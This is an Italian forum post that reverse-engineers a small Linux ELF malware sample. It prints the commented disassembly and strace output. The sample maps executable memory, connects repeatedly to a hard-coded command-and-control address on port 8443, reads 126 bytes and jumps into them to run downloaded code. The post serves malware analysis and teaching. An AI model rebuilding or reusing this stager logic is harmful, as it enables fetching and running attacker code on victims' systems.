SPAGHETTI HACKER

  1. ELF MALWARE2 - bash
    log.015

    Tags
    malware
    re
    By AKIRA BASHO il 14 Mar. 2023
     
    0 Comments   47 Views
    .
    Yio1IHI

    ;reverse engineering, analisi statica e dinamica di un ELF Malware, partendo dal disassemblato;

    ;sito molto interessante, dove abbiamo la lista di tutte le syscall di linux, con i relativi parametri passati alla syscall attraverso i registri: link

    [0x00400078]> pdf
    0x00400078 xor rdi, rdi
    0x0040007b push 9 ;9
    0x0040007d pop rax ;9 mmap
    0x0040007e cdq
    0x0040007f mov dh, 0x10 ;16
    0x00400081 mov rsi, rdx ;arg3
    0x00400084 xor r9, r9
    0x00400087 push 0x22 ;34
    0x00400089 pop r10

    %rdi
    **unsigned long** addr
    %rsi
    **unsigned long** len
    %rdx
    **unsigned long** prot
    %r10
    **unsigned long** flags
    %r8
    **unsigned long** fd
    %r9
    **unsigned long** off

    ;se addr è NULL, il kernel sceglie l'indirizzo (allineato alla pagina) in cui creare la mappatura; questo è il metodo più portabile per creare una nuova mappatura; anche se r8 in questa parte di codice assembly non viene valorizzato, risulta poi abbia valore 0;

    0x0040008b mov dl, 7
    0x0040008d syscall

    ;rdx = 00001007

    ;void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
    ;void *mmap (0x00000000, 0x00001000, 0x00001007, 0x00000000, 0x00000000, 0x00000000)
    ;mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)

    ;07 = 111 --> PROT_READ|PROT_WRITE|PROT_EXEC

    ;l'fd 0 è lo stdin, quindi sta mappando lo stdin in memoria? per quale motivo? facendo delle prove in c con questo tipo di chiamata e poi facendo una memcpy nell'indirizzo ritornato dalla mmap, analizzando con gdb, funziona come una malloc, anzi una calloc, visto che ho tutti i 4096 byte a zero; potrebbe essere la memoria che viene allocata per il buffer in cui il malware va a scrivere i 126 byte scaricati dal C&C;

    ;qui un articolo sulle differenze tra malloc e mmap; vantaggi e svantaggi :link

    ;il codice C che ho utilizzato per analizzare l'mmap

    int main(void)
    {
    void *ptr = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if (MAP_FAILED == ptr) {
    fprintf(stderr, "mmap(): error '%m' (%d)\n", errno);
    return 1;
    } else {
    memcpy(ptr, "hello", 6);
    }

    return 0;
    }

    0x0040008f test rax, rax
    0x00400092 js 0x4000e5

    ;qui controlla se l'mmap ha ritornato il valore -1 e in caso salta, salta se c'è il segno

    0x00400094 push 0xa ; 10
    0x00400096 pop r9
    0x00400098 push rax
    0x00400099 push 0x29 ;41
    0x0040009b pop rax
    0x0040009c cdq
    0x0040009d push 2 ;2
    0x0040009f pop rdi
    0x004000a0 push 1 ;1
    0x004000a2 pop rsi
    0x004000a3 syscall

    ;qui abbiamo 41 in rax, quindi la syscall che viene chiamata è la socket che va a creare un endpoint per una comunicazione;
    ;rdi, rsi, rdx, sono i 3 parametri della socket

    ;socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
    ;rdi = 2, AF_INET
    ;rsi = 1, SOCK_STREAM
    ;rdx = 1007

    ;in rdx dovrebbe essere rimasto 1007, in realtà ci dovrebbe essere il tipo di protocollo della socket;

    ;se l'argomento _protocol_ è diverso da zero, deve specificare un protocollo supportato dalla famiglia di indirizzi. Se l'argomento _protocol_ è zero, deve essere utilizzato il protocollo predefinito per questa famiglia e tipo di indirizzo. I protocolli supportati dal sistema sono definiti dall'implementazione.

    ;il livello di opzione socket per IP è IPPROTO_IP. Un flag intero booleano è zero quando è falso, altrimenti vero; immagino che essendo rdx uguale a 1007, il flag intero booleano sia considerato vero e quindi sia settato come protocollo IPPROTO_IP; lo si vede anche dallo strace del malware;

    execve("./malware.sample2", ["./malware.sample2"], 0x7ffe3cf26c60 /* 48 vars */) = 0
    mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7fb4dbcfe000
    socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
    connect(3, {sa_family=AF_INET, sin_port=htons(8443), sin_addr=inet_addr("173.82.202.138")}, 16) = -1 ENETUNREACH (Network is unreachable)
    nanosleep({tv_sec=5, tv_nsec=0}

    ;list of IP protocol numbers: link

    ;int socket(int domain, int type, int protocol);
    ;socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3

    ;in teoria con SOCK_STREAM, il protocollo dovrebbe essere 0 o IPPROTO_TCP, ma visto che rdx è diverso da 0 viene settato a IPPROTO_IP? boh

    0x004000a5 test rax, rax
    0x004000a8 js 0x4000e5

    ;controlla se è andata a buon fine la socket altrimenti salta, se in rax abbiamo -1

    0x004000aa xchg rdi, rax

    ;mette il numero int ritornato dalla syscall socket in rdi

    0x004000ac movabs rcx, 0x8aca52adfb200002
    0x004000b6 push rcx
    0x004000b7 mov rsi, rsp
    0x004000ba push 0x10 ;16
    0x004000bc pop rdx
    0x004000bd push 0x2a ;42
    0x004000bf pop rax
    0x004000c0 syscall

    ;in rdi abbiamo l'fd, il file descriptor
    ;in rsi l'indirizzo alla struttura che abbiamo messo in rcx, e poi in rsi attraverso lo stack; in rdx la lunghezza, 16 byte, e in rax 42 che è la syscall connect;

    ;ecco i 16 byte della struttura il cui indirizzo risiede in rsi :

    ;0x8aca52ad
    ;8a 138
    ;ca 202
    ;52 82
    ;ad 173

    ;173.82.202.138
    ;little endian ;fb20 --> 20fb --> 8443 port
    ;0002 --> AF_INET

    ;{sa_family=AF_INET, sin_port=htons(8443), sin_addr=inet_addr("173.82.202.138")
    ;connect(3, {sa_family=AF_INET, sin_port=htons(8443), sin_addr=inet_addr("173.82.202.138")}, 16)

    ;la struttura che contiene l'ip di quel che potrebbe essere il C&C (Command&Control) e la porta alla quale la syscall connect deve provare a connettersi

    ;se ha successo la connessione in rax abbiamo il valore 0

    0x004000c2 pop rcx
    0x004000c3 test rax, rax
    0x004000c6 jns 0x4000ed

    ;risultato della connect salta se ha avuto buon esito la connessione e in questo caso in rax abbiamo il valore 0;

    0x004000c8 dec r9
    0x004000cb je 0x4000e5

    ;salta avanti se r9 è 0, il contatore era partito da 10

    0x004000cd push rdi
    0x004000ce push 0x23 ;35
    0x004000d0 pop rax
    0x004000d1 push 0
    0x004000d3 push 5 ;5
    0x004000d5 mov rdi, rsp
    0x004000d8 xor rsi, rsi
    0x004000db syscall

    ;la 35 è la syscall nanosleep, nanosleep({tv_sec=5, tv_nsec=0}
    ;nanosleep - high-resolution sleep

    ;int nanosleep(const struct timespec *req, struct timespec *rem);

    ;si ferma per 5 secondi poi riprova la connessione

    0x004000dd pop rcx
    0x004000de pop rcx
    0x004000df pop rdi
    0x004000e0 test rax, rax
    0x004000e3 jns 0x4000ac

    ;salta se non fallisce la nanosleep, dopo aver salvato i registri sullo stack e torna indietro per rifare la connect; quindi aspetta 5 secondi, poi torna indietro e riprova la connect verso il C&C, questo per r9 volte, quindi 10 volte;

    ;dopo 10 tentativi di connect esce

    0x004000e5 push 0x3c ;60
    0x004000e7 pop rax
    0x004000e8 push 1 ;1
    0x004000ea pop rdi
    0x004000eb syscall

    ;questa è una exit con valore 1
    ;che cos'è il codice di uscita 1? Il codice di uscita 1 indica che un container è stato arrestato a causa di un errore dell'applicazione o perché l'immagine puntava a un file non valido.

    0x004000ed pop rsi ;l'indirizzo di qualche buffer?
    0x004000ee push 0x7e ;126
    0x004000f0 pop rdx
    0x004000f1 syscall

    ;rsi è l'indirizzo del buffer dove andare a scrivere i 126 byte
    ;rdi è il fd del socket, quindi andiamo a leggere da li
    ;qui dovrebbe esserci la syscall read visto che abbiamo rax a 0, in rdx abbiamo il valore 126; legge 126 byte dal C&C; non sappiamo cosa siano; questi 126 byte sono messi in un buffer (quello allocato dalla mmap); presumibilmente è del codice, perchè alla fine della routine fa una jmp all'indirizzo del buffer, quindi andrebbe ad eseguire il codice appena scaricato dal C&C;

    0x004000f3 test rax, rax
    0x004000f6 js 0x4000e5
    0x004000f8 jmp rsi

    ;salta verso l'indirizzo del buffer ed esegue i 126 byte che abbiamo scaricato dal C&C

    VirusTotal: www.virustotal.com/gui/file/eac3...
    Hybrid Analysis: www.hybrid-analysis.com/sample/eac3...

    Edited by AKIRA BASHO - 19/11/2023, 14:32
      Share  
     
    .